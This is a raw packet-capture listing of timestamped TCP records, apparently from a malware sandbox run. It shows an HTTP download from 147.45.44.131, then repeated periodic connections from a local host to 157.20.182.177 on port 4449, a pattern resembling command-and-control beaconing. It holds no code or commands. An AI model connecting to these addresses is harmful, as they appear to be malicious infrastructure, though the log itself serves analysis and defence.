Jan 2, 2025 19:14:20.077411890 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077433109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077445030 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077451944 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077462912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077466011 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077470064 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077487946 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077493906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077496052 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077506065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077513933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077527046 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077533007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077538013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077543974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077548027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077553988 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077554941 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077572107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077579975 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077589989 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077594995 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077600956 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077606916 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077609062 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077636957 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077656031 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077737093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077744007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077750921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077755928 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077768087 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077773094 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077784061 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077785015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077791929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077796936 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077800035 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077807903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077812910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077820063 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077838898 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077846050 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077850103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077856064 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077889919 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077922106 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077928066 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077934980 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077939987 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077965975 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077986956 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.078083038 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078097105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078108072 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078111887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078120947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078134060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078140020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078150988 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078155041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078161001 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.078167915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078175068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078186035 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078191042 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078196049 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078201056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078203917 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.078207016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078224897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078232050 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078237057 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078248024 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078262091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078267097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078279972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078284979 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078284979 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.078293085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078304052 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078310013 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.078310966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078310013 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.078315973 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078322887 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.078322887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078336000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.078349113 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.078371048 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.117791891 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:23.141894102 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:23.146732092 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:23.146806002 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:23.154845953 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:23.159672022 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:23.799103022 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:23.805994034 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:23.810750008 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:23.981197119 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:24.030730963 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:25.753457069 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:25.758248091 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:25.758301973 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:25.763056993 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:38.485358000 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:38.490191936 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:38.490350962 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:38.495191097 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:38.793442965 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:38.843672037 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:38.912776947 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:38.920521021 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:38.927247047 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:38.927335978 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:38.932699919 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:51.219918966 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:51.225014925 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:51.225110054 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:51.230088949 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:51.515137911 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:51.562196970 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:51.646552086 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:51.664851904 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:51.669636011 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:14:51.669703007 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:14:51.674479008 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:04.085735083 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:04.090581894 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:04.090636015 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:04.095439911 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:04.410406113 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:04.452912092 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:04.546813965 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:04.548528910 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:04.554409981 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:04.554474115 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:04.560250998 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:16.813122034 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:16.817991972 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:16.818125963 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:16.822978020 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:17.109174967 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:17.156106949 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:17.246769905 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:17.250782013 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:17.255552053 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:17.257246017 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:17.262021065 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:29.550740004 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:29.555675983 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:29.555777073 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:29.560570955 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:29.912782907 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:29.953135014 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:30.050806046 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:30.053237915 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:30.058013916 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:30.058103085 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:30.062886953 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:31.750642061 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:31.755983114 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:31.756098032 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:31.761383057 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:32.056644917 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:32.109347105 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:32.194783926 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:32.199062109 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:32.203797102 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:32.205358982 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:32.210160971 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:40.894750118 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:40.899585962 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:40.899722099 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:40.904508114 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:41.211405039 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:41.260359049 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:41.342911959 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:41.346283913 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:41.351113081 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:41.351167917 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:41.355933905 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:41.485002995 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:41.489816904 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:41.489862919 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:41.494636059 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:41.767772913 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:41.812545061 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:41.898905993 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:41.901525974 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:41.906347990 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:41.906390905 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:41.911207914 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:54.257260084 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:54.262120008 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:54.262173891 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:54.266932964 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:54.607076883 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:54.742995024 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:54.743062019 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:54.752841949 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:54.757677078 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:15:54.757728100 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:15:54.762516022 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:06.954057932 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:06.958880901 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:06.959830999 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:06.964571953 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:07.267385006 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:07.328352928 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:07.398976088 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:07.401631117 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:07.406445026 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:07.406503916 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:07.411328077 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:10.719600916 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:10.724421024 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:10.724497080 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:10.730052948 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:11.055875063 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:11.195436954 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:11.195574045 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:11.197567940 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:11.202342033 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:11.202457905 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:11.207258940 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:11.815443993 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:11.820312977 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:11.820380926 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:11.825228930 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:12.133150101 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:12.271030903 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:12.273669958 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:12.279109955 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:12.283907890 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:12.285648108 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:12.290435076 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:24.549732924 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:24.554878950 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:24.555248976 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:24.560131073 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:24.844906092 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:24.998485088 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:24.998691082 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:25.000756025 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:25.005621910 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:25.005733967 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:25.010632992 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:37.282253027 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:37.287144899 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:37.289835930 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:37.294616938 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:37.616511106 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:37.751211882 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:37.751276016 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:37.753339052 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:37.758080006 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:37.758122921 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:37.763004065 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:39.313635111 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:39.318603992 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:39.318665981 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:39.323436975 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:39.608859062 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:39.744097948 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:39.745801926 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:39.748553991 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:39.753304958 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:39.753782034 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:39.758544922 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:52.048319101 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:52.053152084 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:52.053209066 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:52.057952881 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:52.343977928 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:52.391202927 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:52.492752075 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:52.497534037 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:52.502331018 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:52.504375935 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:52.509195089 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:55.313510895 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:55.318351030 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:55.320240974 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:55.325084925 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:55.615261078 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:55.656801939 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:55.747342110 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:55.749303102 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:55.754096031 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:16:55.754165888 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:16:55.759035110 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:08.048331976 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:08.081305027 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:08.081370115 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:08.086348057 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:08.382832050 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:08.515304089 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:08.515520096 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:08.518054008 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:08.522880077 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:08.523078918 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:08.527853012 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:15.360677004 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:15.365536928 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:15.365642071 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:15.370426893 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:15.760562897 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:15.828799009 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:15.891280890 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:15.893513918 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:15.898366928 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:15.898418903 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:15.903163910 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:22.923192024 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:22.928071976 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:22.928148031 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:22.932985067 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:23.302359104 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:23.466439009 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:23.469535112 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:23.605262041 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:23.610199928 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:23.621974945 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:23.626773119 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:24.251266956 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:24.256115913 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:24.256187916 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:24.261071920 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:24.583348989 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:24.712127924 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:24.714052916 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:24.715873003 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:24.720619917 CET	4449	49705	157.20.182.177	192.168.2.8
